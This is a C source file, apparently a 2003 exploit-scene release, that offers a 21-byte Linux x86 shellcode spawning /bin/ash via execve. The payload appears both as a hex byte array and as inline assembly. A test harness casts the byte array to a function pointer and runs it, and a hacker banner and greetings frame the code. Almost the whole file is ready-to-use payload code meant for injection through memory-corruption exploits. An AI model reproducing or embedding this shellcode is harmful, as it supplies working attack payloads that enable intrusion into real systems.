/*
 * Fri Aug 29 16:29:38 CEST 2003
 *
 * 21 byte execve("/bin/ash",0,0); shellcode for linux x86
 * by zasta (zasta@darkircop.org)
 *
 * no assumptions should work under all circumstances
 * bash has problems with null argv so we use ash 
 *
 * can be made shorter by cp /bin/ash ./a and fixing the push
 * well there are tons of ways to make shorter shellcodes
 * for example having /bin/ash\0 somewhere in memory and just "hardcoding"
 * the addr in ebx but this is just a generic example of a versatile
 * short shellcode
 *
 *
 * greetz: sorbo, #darkircop@irc.darkircop.org
 *	   daphiel & m00kie (hope your honeymoon was allright... male kids!!!)
 *         hello to s0lar!!
 *
 *
 * have fun!
 *
 */

#include <unistd.h>
#include <stdio.h>       

char shellcode[] = 
			"\x31\xc9\xf7\xe1\x04\x0b\x52\x68"
			"\x2f\x61\x73\x68\x68\x2f\x62\x69"
			"\x6e\x89\xe3\xcd\x80";

void code() {
	__asm__("
		xor %ecx,%ecx
		mul %ecx
		addb $0xb,%al
		push %edx
		push $0x6873612f
		push $0x6e69622f
		mov %esp,%ebx
		int $0x80
	");
}

/* lets l00k l33t w00t */
void banner() {
 printf("execve(\"/bin/ash\",0,0); shellcode %d bytes (short enough? ;)\n"
	"============================================================\n\n"
	" by\n"
	"                 _\n"
	"    ______ _ ___| |_ __ _\n"
	"   |_  / _` / __| __/ _` |\n"
	"    / / (_| \\__ \\ || (_| |\n"
	"   /___\\__,_|___/\\__\\__,_|\n"
	"\t\tzasta@darkricop.org\n\n"
	"         the first italian hackgirl\n"
	"                ph34r I own even acidburn\n\n\n"
		,strlen(shellcode));
}

int main(int argc, char *argv[]) {
	int opt;
	void (*ptr)() = (void(*)()) &shellcode[0];

	while ((opt = getopt(argc, argv,"ahs")) != EOF) {
		switch(opt) {
			default:
			case 'h':
				printf(	"Usage: %s <opts>\n"
					"-h\tThis lame message\n"
	                        	"-a\tLaunch asm code\n"
	                        	"-s\tLaunch hex code\n",argv[0]);
	                        exit(0);

	               	case 'a':
	               		banner();
	               		code();
	               		exit(0); /* unreach if all goes well */ 
	               	
	               	case 's':
	               		banner();
				(*ptr)();
				exit(0); /* ditto */
			
		}
	}
	
	/* default just launch our hex code */
	banner();
	(*ptr)();

	exit(0); /* guess the comment */
}